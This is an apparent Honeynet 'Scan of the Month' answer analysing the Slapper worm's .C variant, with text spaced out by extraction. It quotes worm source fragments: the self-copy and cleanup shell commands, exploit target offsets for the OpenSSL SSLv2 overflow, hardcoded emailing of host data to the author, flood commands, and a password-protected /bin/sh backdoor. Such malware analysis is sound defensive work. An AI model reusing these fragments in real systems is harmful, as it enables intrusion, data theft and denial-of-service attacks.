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Introduction 
 
Member s f r om t he Honeynet . BR ( ht t p: / / www. l ac. i npe. br / secur i t y/ honeynet / )  t eam  
have capt ur ed a new wor m f r om t he wi l d.  The f i l e ( . unl ock) ,  was used by t he wor m  
t o i nf ect  t he honeypot .  Your  mi ss i on i s  t o anal yze t he capt ur ed f i l e i n or der  t o  
answer  t he quest i ons bel ow.  Be sur e you r evi ew t he submi ssi on r ul es at  t he Sot M  
chal l enge page ( ht t p: / / pr oj ect . honeynet . or g/ scans/ scans/ )  bef or e submi t t i ng your   
r esul t s.   
 
Download the Binary (http://project.honeynet.org/scans/scan25/.unlock) 
 
Not e:  The MD5 and SHA1 checksums ar e shown bel ow.  
MD5  ( . unl ock)  = a03b5be9264651ab30f 2223592bef b42 
SHA1 ( . unl ock)  = 4b018cdf dbcf 71ddaa789e8ecc9ed7700660021a 
 
Questions (Quick Answers in Blue) 
 
1.  Which is the type of the .unlock file? When was it generated?  
 
i )  Downl oad t he f i l e 
 
$ wget  ht t p: / / pr oj ect . honeynet . or g/ scans/ scan25/ . unl ock 
- - 15: 19: 45- -   ht t p: / / pr oj ect . honeynet . or g/ scans/ scan25/ . unl ock 
           => ` . unl ock'  
Connect i ng t o pr oj ect . honeynet . or g[ 63. 107. 222. 112] : 80. . .  connect ed.  
Pr oxy r equest  sent ,  awai t i ng r esponse. . .  200 OK 
Lengt h:  17, 973 [ t ext / pl ai n]  
 
100%[ ====================================>]  17, 973         9. 68K/ s    ETA 00: 00 
 
15: 19: 47 ( 9. 68 KB/ s)  -  ` . unl ock'  saved [ 17973/ 17973]  
 
$ l s - l a 
t ot al  18 
dr wxr wxr wx    2 dpbr ad   None            0 Nov 13 15: 19 .  
dr wxr wxr wx    4 dpbr ad   None            0 Nov 13 15: 22 . .  
- r w- r w- r w-     1 dpbr ad   None        17973 Sep 23 03: 06 . unl ock 
 
i i )  Ver i f y MD5 ( . unl ock)  = a03b5be9264651ab30f 2223592bef b42 
 
$ md5sum . unl ock 
a03b5be9264651ab30f 2223592bef b42 * . unl ock 
 



i i i )  Ver i f y  SHA1 ( . unl ock)  = 4b018cdf dbcf 71ddaa789e8ecc9ed7700660021a 
 
$ sha1sum . unl ock 
4b018cdf dbcf 71ddaa789e8ecc9ed7700660021a * . unl ock 
 
i v)  Det er mi ne t he f i l e t ype of  . unl ock and ext r act  cont ent s 
 
$ f i l e . unl ock . unl ock:  gz i p compr essed dat a,  def l at ed,  l ast  modi f i ed:  Fr i  Sep  
20 20: 59: 04 2002,  os:  Uni x 
 
The . unl ock f i l e was gener at ed on Fr i  Sep 20 20: 59: 04 2002.  
 
$ mv . unl ock . unl ock. gz 
 
$ gunzi p . unl ock. gz 
 
$ l s - l a 
t ot al  80 
dr wxr wxr wx    2 dpbr ad   None            0 Nov 13 15: 30 .  
dr wxr wxr wx    4 dpbr ad   None            0 Nov 13 15: 22 . .  
- r w- r w- r w-     1 dpbr ad   None        81920 Sep 23 03: 06 . unl ock 
 
$ f i l e . unl ock 
. unl ock:  GNU t ar  ar chi ve 
 
$ t ar  xvf  . unl ock 
. unl ock. c 
. updat e. c 
 
$ l s - l a 
t ot al  153 
dr wxr wxr wx    2 dpbr ad   None            0 Nov 13 15: 32 .  
dr wxr wxr wx    3 dpbr ad   None            0 Nov 13 15: 38 . .  
- r w- r w- r w-     1 dpbr ad   None        81920 Sep 23 03: 06 . unl ock 
- r w- r - - r - -     1 dpbr ad   None        70981 Sep 20 23: 28 . unl ock. c 
- r w- r - - r - -     1 dpbr ad   None         2792 Sep 20 07: 57 . updat e. c 
 
$ f i l e . unl ock. c 
. unl ock. c:  ASCI I  Engl i sh t ext ,  wi t h CRLF,  LF l i ne t er mi nat or s 
 
$ f i l e . updat e. c 
. updat e. c:  ASCI I  C pr ogr am t ext ,  wi t h CRLF,  LF l i ne t er mi nat or s 
 
The . unl ock f i l e i s a GZI P compr essed TAR ar chi ve cont ai ni ng t he  
t wo ASCI I  f i l es . unl ock. c and . updat e. c 
 
2.  Based on the source code, who is the author of this worm? When was it  
created? Is it compatible with the date from question 1?  
 
The aut hor  of  t he wor m i s ai on ( ai on@ukr . net )  who modi f i ed a wor m cr eat ed by  
cont em@ef net .  
 
Fr om t he sour ce code we can f i nd t he f ol l owi ng dat e i ndi cat i ng when t he wor m was  
cr eat ed:  
 
. unl ock. c:   
Li ne 71.   #def i ne VERSI ON 20092002 



 
Assumi ng t hat  t hi s  number  i s i n t he f or mat  ddmmyyyy t hen t he dat e  
20t h Sept ember  2002 i s i ndeed compat i bl e wi t h t he dat e f ound i n quest i on 1.  
 
3.  Which process name is used by the worm when it is running?  
 
The pr ocess name used by t he wor m when r unni ng i s " ht t pd " .  
 
The wor m def i nes t he pr ocess name as f ol l ows:   
 
. unl ock. c:  
Li ne 78.   #def i ne PSNAME " ht t pd "  
 
The wor m changes i t s  cur r ent  pr ocess name as f ol l ows:  
 
. unl ock. c:  
Li ne 1808.   st r cpy( ar gv[ 0] , PSNAME) ;   
 
4.  In which format does the worm copy itself to the newly infected machine?  
Which files are created in the whole process? After the worm executes itself,  
which files remain on the infected machine?  
 
The wor m i s  t r ansmi t t ed as a uuencoded ar chi ve cont ai ni ng t he or i gi nal   
. updat e GZI P compr essed TAR ar chi ve cont ai ni ng t he t wo ASCI I  f i l es  
. unl ock. c and . updat e. c 
 
The wor m t r ansmi t s  t he . unl ock f i l e by uuencodi ng i t  i nt er nal l y  wi t h t he encode 
f unct i on and sendi ng i t  t o t he t ar get  syst em by f i r st  us i ng t he command  
" cat  > / t mp/ . unl ock. uu << __eof __"  t hen sendi ng t he encoded f i l e and f i ni shi ng 
t he cat  wi t h anot her  " __eof __" .  Thi s can be seen i n t he f ol l owi ng code:  
 
. unl ock. c:  
Li ne 1417.  wr i t em( sockf d, " cat  > / t mp/ . unl ock. uu << __eof __;  \ n" ) ;  
Li ne 1418.   zhdr ( 1) ;    
Li ne 1419.  encode( sockf d) ;  
Li ne 1420.  zhdr ( 0) ;  
Li ne 1421.  wr i t em( sockf d, " __eof __\ n" ) ;  
 
The f ol l owi ng f i l es ar e cr eat ed i n t he whol e pr ocess:  
/ t mp/ . unl ock. uu  
/ t mp/ . unl ock. c  
/ t mp/ . updat e. c  
/ t mp/ ht t pd  
/ t mp/ updat e 
 
Af t er  t he wor m execut es i t sel f  no f i l es shoul d r emai n on t he i nf ect ed machi ne.  
 
When t he wor m execut es t he f ol l owi ng command " r m - r f  / t mp/ . unl ock. uu / t mp/ . unl ock. c  
/ t mp/ . updat e. c / t mp/ ht t pd / t mp/ updat e"  i s  i ssued whi ch shoul d r emove al l  f i l es  
cr eat ed by t he wor m f r om t he host  machi ne.  Thi s can be seen i n t he f ol l owi ng code:  
 
. unl ock. c:  
Li ne 1429.  wr i t em( sockf d, " r m - r f  / t mp/ . unl ock. uu / t mp/ . unl ock. c / t mp/ . updat e. c "  
Li ne 1430.                     "        / t mp/ ht t pd / t mp/ updat e;  exi t ;  \ n" ) ;  
 
5.  Which port is scanned by the worm?  
 



The wor m scans por t  80.  
 
The wor m def i nes t he por t  t o be scanned as f ol l ows:  
 
. unl ock. c:  
Li ne 67.  #def i ne SCANPORT 80 
 
The wor m scans a r ange of  addr esses connect i ng wi t h t he f ol l owi ng pi ece of  code:  
 
. unl ock. c:   
Li ne 1926.  at cp_sync_connect ( &cl i ent s[ n] , sr v, SCANPORT) ;  
 
6.  Which vulnerability does the worm try to exploit? In which architectures?  
 
Fr om a qui ck googl e sear ch f or  t he aut hor  of  t hi s wor m " ai on ( ai on@ukr . net ) "   
det er mi nes t hat  t hi s  i s  t he Li nux Sl apper  Wor m . C var i ant .  Descr i pt i ons of  t he  
wor m ar e avai l abl e f r om maj or  ant i v i r us sof t war e vendor s.  [ 1] [ 2] [ 3] [ 4] [ 5]  
 
The wor m expl oi t s  a buf f er  over f l ow condi t i on i n OpenSSL 0. 9. 6d and ear l i er ,  and  
0. 9. 7- bet a2 and ear l i er ,  whi ch al l ow r emot e at t acker s t o execut e ar bi t r ar y code.   
Ver si ons of  OpenSSL ser ver s pr i or  t o 0. 9. 6e and pr e- r el ease ver si on 0. 9. 7- bet a2  
cont ai n a r emot el y  expl oi t abl e buf f er  over f l ow vul ner abi l i t y .  Thi s  vul ner abi l i t y   
can be expl oi t ed by a c l i ent  usi ng a mal f or med key dur i ng t he handshake pr ocess  
wi t h an SSL ser ver  connect i on us i ng t he SSLv2 communi cat i on pr ocess. [ 6] [ 7] [ 8]  
 
The wor m r et r i eves t he r esponse f r om t he ser ver  t o check f or  a vul ner abl e ar chi t ect ur e.  
 
. unl ock. c:  
Li ne 1152.  si n. s i n_por t  = ht ons( 80) ;  
Li ne 1153.  i f ( connect ( sock,  ( st r uct  sockaddr  * )  & si n,  s i zeof ( si n) )  ! = 0)  r et ur n NULL;  
Li ne 1154.  wr i t e( sock, " GET /  HTTP/ 1. 1\ r \ n\ r \ n" , st r l en( " GET /  HTTP/ 1. 1\ r \ n\ r \ n" ) ) ;  
 
The wor m checks f or  an Apache ser ver .  
 
. unl ock. c:  
Li ne 1711.  i f  ( s t r ncmp( a, " Apache" , 6) )  ex i t ( 0) ;  
 
The wor m checks t he ver s i on of  t he Apache ser ver .  
 
. unl ock. c:  
Li ne 1713.  i f  ( s t r s t r ( a, ar chi t ect ur es[ i ] . apache)  && st r s t r ( a, ar chi t ect ur es[ i ] . os) )  {  
Li ne 1714.   ar ch=i ;  
Li ne 1715.   br eak;  
Li ne 1716.  }  
 
The wor m t ar get s t he f ol l owi ng ar chi t ect ur es:  
( Apache) :  " Gent oo" ,  " Debi an 1. 3. 26" ,  " Red- Hat  1. 3. 6" ,  " Red- Hat  1. 3. 9" ,   
" Red- Hat  1. 3. 12" ,  " Red- Hat  1. 3. 12" ,  " Red- Hat  1. 3. 19" ,  " Red- Hat  1. 3. 20" ,   
" Red- Hat  1. 3. 26" ,  " Red- Hat  1. 3. 23" ,  " Red- Hat  1. 3. 22" ,  " SuSE 1. 3. 12" ,   
" SuSE 1. 3. 17" ,  " SuSE 1. 3. 19" ,  " SuSE 1. 3. 20" ,  " SuSE 1. 3. 23" ,  " SuSE  
1. 3. 23" ,  " Mandr ake 1. 3. 14" ,  " Mandr ake 1. 3. 19" ,  " Mandr ake 1. 3. 20" ,   
" Mandr ake 1. 3. 23" ,  " Sl ackwar e 1. 3. 26"  and " Sl ackwar e 1. 3. 26" .   
 
The wor m def i nes t he f ol l owi ng st r uct  i ndi cat i ng what  pl at f or ms i t  knows how t o 
expl oi t :  
 
. unl ock. c:  



Li ne 1241.  st r uct  ar chs {  
Li ne 1242.   char  * os;  
Li ne 1243.   char  * apache;  
Li ne 1244.   i nt  f unc_addr ;  
Li ne 1245.  }  ar chi t ect ur es[ ]  = {  
Li ne 1246.   { " Gent oo" ,  " " ,  0x08086c34} ,  
Li ne 1247.   { " Debi an" ,  " 1. 3. 26" ,  0x080863cc} ,  
Li ne 1248.   { " Red- Hat " ,  " 1. 3. 6" ,  0x080707ec} ,  
Li ne 1249.   { " Red- Hat " ,  " 1. 3. 9" ,  0x0808ccc4} ,  
Li ne 1250.   { " Red- Hat " ,  " 1. 3. 12" ,  0x0808f 614} ,  
Li ne 1251.   { " Red- Hat " ,  " 1. 3. 12" ,  0x0809251c} ,  
Li ne 1252.   { " Red- Hat " ,  " 1. 3. 19" ,  0x0809af 8c} ,  
Li ne 1253.   { " Red- Hat " ,  " 1. 3. 20" ,  0x080994d4} ,  
Li ne 1254.   { " Red- Hat " ,  " 1. 3. 26" ,  0x08161c14} ,  
Li ne 1255.   { " Red- Hat " ,  " 1. 3. 23" ,  0x0808528c} ,  
Li ne 1256.   { " Red- Hat " ,  " 1. 3. 22" ,  0x0808400c} ,  
Li ne 1257.   { " SuSE" ,  " 1. 3. 12" ,  0x0809f 54c} ,  
Li ne 1258.   { " SuSE" ,  " 1. 3. 17" ,  0x08099984} ,  
Li ne 1259.   { " SuSE" ,  " 1. 3. 19" ,  0x08099ec8} ,  
Li ne 1260.   { " SuSE" ,  " 1. 3. 20" ,  0x08099da8} ,  
Li ne 1261.   { " SuSE" ,  " 1. 3. 23" ,  0x08086168} ,  
Li ne 1262.   { " SuSE" ,  " 1. 3. 23" ,  0x080861c8} ,  
Li ne 1263.   { " Mandr ake" ,  " 1. 3. 14" ,  0x0809d6c4} ,  
Li ne 1264.   { " Mandr ake" ,  " 1. 3. 19" ,  0x0809ea98} ,  
Li ne 1265.   { " Mandr ake" ,  " 1. 3. 20" ,  0x0809e97c} ,  
Li ne 1266.   { " Mandr ake" ,  " 1. 3. 23" ,  0x08086580} ,  
Li ne 1267.   { " Sl ackwar e" ,  " 1. 3. 26" ,  0x083d37f c} ,  
Li ne 1268.   { " Sl ackwar e" ,  " 1. 3. 26" , 0x080b2100}  
Li ne 1269.  } ;  
 
I f  no mat ch i s  f ound f or  t he ver s i on t he def aul t  t hat  wi l l  be expl oi t ed i s   
ar ch[ 9]  = " Red- Hat  1. 3. 23"  
 
. unl ock. c:  
Li ne 1718.  i f  ( ar ch == - 1)  ar ch=9;  
 
The wor m t hen makes at t empt s t o connect  t o t he ser ver  on por t  443 ( maxi mum of  20  
at t empt ed connect i ons)  
 
. unl ock. c:  
Li ne 1701.  i nt  por t  = 443;  
 
. unl ock. c:  
Li ne 1704.  i nt  N = 20;  
 
. unl ock. c:  
Li ne 1722.  f or  ( i =0;  i <N;  i ++)  {  
Li ne 1723.   connect _host ( i p,  por t ) ;  
Li ne 1724.   us l eep( 100000) ;  
Li ne 1725.  }  
 
The wor m t hen cr eat es an SSL connect i on t o t he ser ver  and sends an over s i zed  
cl i ent  key t o expl oi t  t he vul ner abl e ser ver .  
 
. unl ock. c:  
Li ne 1749.  send_cl i ent _mast er _key( ssl 2,  over wr i t e_next _chunk,  
si zeof ( over wr i t e_next _chunk) - 1) ;  



 
7.  What kind of information is sent by the worm by email? To which account?  
 
The wor m sends t he f ol l owi ng i nf or mat i on:  
 
host i d:  << The 32- bi t  i dent i f i er  f or  t he cur r ent  pr ocessor  >> 
host name:  << The host  name >> 
at t _f r om:  << The host  i p addr ess >> 
 
The wor m sends i nf or mat i on by emai l  accor di ng t o t he f ol l owi ng code:  
 
. unl ock. c:     
Li ne 122.  spr i nt f ( cmdbuf , "  host i d:    %d \ r \ n"  
Li ne 123.              "  host name:  %s \ r \ n"  
Li ne 124.             "  at t _f r om:  %s \ r \ n" , get host i d( ) , buf f er , s i p) ;    
 
The wor m sends t hi s i nf or mat i on t o t he f ol l owi ng account :  
 
Mai l  Ser ver :   f r eemai l . ukr . net  
Mai l  Account :   ai on@ukr . net  
 
The wor m uses t he f ol l owi ng ser ver  and account  i nf or mat i on:  
 
. unl ock. c:   
Li ne 76.  #def i ne MAI LSRV   " f r eemai l . ukr . net "  
Li ne 77.  #def i ne MAI LTO    " ai on@ukr . net "   
 
The wor m connect s t o t he mai l  ser ver  as f ol l ows:  
 
. unl ock. c:  
Li ne 102.  i f ( ( i net =i net _addr ( MAI LSRV) ) ==- 1)  
Li ne 103.  {  
Li ne 104.   i f ( hp=get host byname( MAI LSRV) )  
Li ne 105.    memcpy ( &i net ,  hp- >h_addr ,  4) ;  
Li ne 106.   el se r et ur n - 1;  
Li ne 107.  }  
Li ne 108.  sck. s i n_f ami l y  = PF_I NET;  
Li ne 109.  sck. s i n_por t  = ht ons ( 25) ;  
Li ne 110.  sck. s i n_addr . s_addr  = i net ;  
Li ne 111.  i f ( connect ( pi p,  ( s t r uct  sockaddr  * )  &sck,  si zeof  ( sck) ) <0)  r et ur n - 1;  
 
The wor m uses t he mai l  account  as f ol l ows:  
 
. unl ock. c:  
Li ne 118.    spr i nt f ( cmdbuf , " r cpt  t o:  " MAI LTO" \ r \ n" ) ;              wr i t em( pi p,  cmdbuf ) ;  
 
8.  Which port (and protocol) is used by the worm to communicate to other infected 
machines?  
 
The wor m uses por t  4156 and t he UDP pr ot ocol  t o communi cat e wi t h ot her  i nf ect ed 
machi nes.  
 
The wor m def i nes t he por t  used t o communi cat e wi t h ot her  i nf ect ed machi nes as f ol l ows:  
 
. unl ock. c:  
Li ne 66.  #def i ne PORT 4156 
 



The wor m cr eat es a UDP ser ver  on por t  4156 i n t he mai n f unct i on as f ol l ows:  
 
. unl ock. c:  
Li ne 1784.  i f  ( audp_l i s t en( &udpser ver , PORT)  ! = 0)  {  
Li ne 1785.   pr i nt f ( " Er r or :  %s\ n" , aer r or ( &udpser ver ) ) ;  
Li ne 1786.   r et ur n 0;  
Li ne 1787.  }  
 
9.  Name 3 functionalities built in the worm to attack other networks.  
 
The wor m has t he f ol l owi ng f unct i onal i t i es bui l t  i n t o at t ack ot her  net wor ks:  
 UDP Fl oodi ng 
 I Pv4 TCP Fl oodi ng 
 I Pv6 TCP Fl oodi ng 
 DNS Fl oodi ng 
 
The packet s t hat  ar e sent  t o t he wor m t o at t ack ot her  net wor ks consi st   
of  t he f ol l owi ng dat a st r uct ur es:  
 
. unl ock. c:  
Li ne 146.  st r uct  l l header  {  
Li ne 147.   char  t ype;  
Li ne 148.   unsi gned l ong checksum;  
Li ne 149.   unsi gned l ong i d;  
Li ne 150.  } ;  
Li ne 151.  st r uct  header  {  
Li ne 152.   char  t ag;  
Li ne 153.   i nt  i d;  
Li ne 154.   unsi gned l ong l en;  
Li ne 155.   unsi gned l ong seq;  
Li ne 156.  } ;  
 
Packet s t hat  ar e r ecei ved wi t h t he t ag at t r i but e set  t o t he f ol l owi ng  
val ues wi l l  f or ce t he host  t o at t ack ot her  net wor ks.  
 
i )  t ag = 0x29 f or ces t he host  t o execut e a ' UDP Fl ood'  
 
. unl ock. c 
Li ne 2208.  case 0x29:  {  / /  Udp f l ood 
 
i i )  t ag = 0x2A f or ces t he host  t o execut e a ' TCP Fl ood'  
 
. unl ock. c 
Li ne 2249.  case 0x2A:  {  / /  Tcp f l ood 
 
i i i )  t ag = 0x2B f or ces t he host  t o execut e an ' I Pv6 TCP Fl ood'  
 
. unl ock. c 
Li ne 2282.  case 0x2B:  {  / /  I Pv6 Tcp f l ood 
 
i v)  t ag = 0x2C f or ces t he host  t o execut e a ' DNS Fl ood'  
 
. unl ock. c 
Li ne 2311.  case 0x2C:  {  / /  Dns f l ood 
 
10. What is the purpose of the .update.c program? Which port does it use?  
 



The . updat e. c pr ogr am i s  a passwor d pr ot ect ed backdoor  pr ogr am t hat  l i s t ens on  
TCP por t  1052.   
 
The . updat e. c pr ogr am r equi r es t he passwor d " ai on1981"  bef or e an i nt er act i ve  
shel l  i s  spawned t o t he connect i ng c l i ent .  
 
The wor m def i nes t he por t  t hat  t he . updat e. c pr ogr am l i s t ens on and al so t he 
r equi r ed passwor d as f ol l ows:  
 
. updat e. c:  
Li ne 4.  #def i ne PORT     1052 
Li ne 5.   #def i ne PASS     " ai on1981"  
 
The wor m checks t he r ecei ved st r i ng agai nst  t he st or ed passwor d bef or e execut i ng 
The i nt er act i ve shel l  as f ol l ows:  
 
. updat e. c:   
Li ne 63.     i f (  ! s t r ncmp( t emp_buf f , PASS, st r l en( PASS) )  )  
Li ne 64.      execl ( " / bi n/ sh" , " sh - i " , ( char  * ) 0) ;   
 
11. Bonus Question: What is the purpose of the SLEEPTIME and UPTIME values in  
the .update.c program? 
 
The . updat e. c pr ogr am wi l l  l i s t en f or  connect i ons on TCP por t  1052 f or  a  
per i od of  UPTI ME seconds ( 10sec)  bef or e s l eepi ng f or  SLEEPTI ME seconds  
( 300sec/ 5mi n) .   
 
The wor m def i nes t he SLEEPTI ME and UPTI ME val ues as f ol l ows:  
 
. updat e. c:  
Li ne 6.   #def i ne SLEEPTI ME 300          / /  s l eep  5 mi n.  
Li ne 7.   #def i ne UPTI ME    10           / /  l i st en 10 sec.  
 
The wor m l i s t ens f or  connect i ons f or  a per i od of  UPTI ME seconds as f ol l ows:  
 
. updat e. c:  
Li ne 52.  f or ( s t i mer =t i me( NULL) ; ( s t i mer +UPTI ME) >t i me( NULL) ; )  
 
The wor m sl eeps f or  a per i od of  SLEEPTI ME seconds as f ol l ows:  
 
. updat e. c:  
Li ne 73.  sl eep( SLEEPTI ME) ;  
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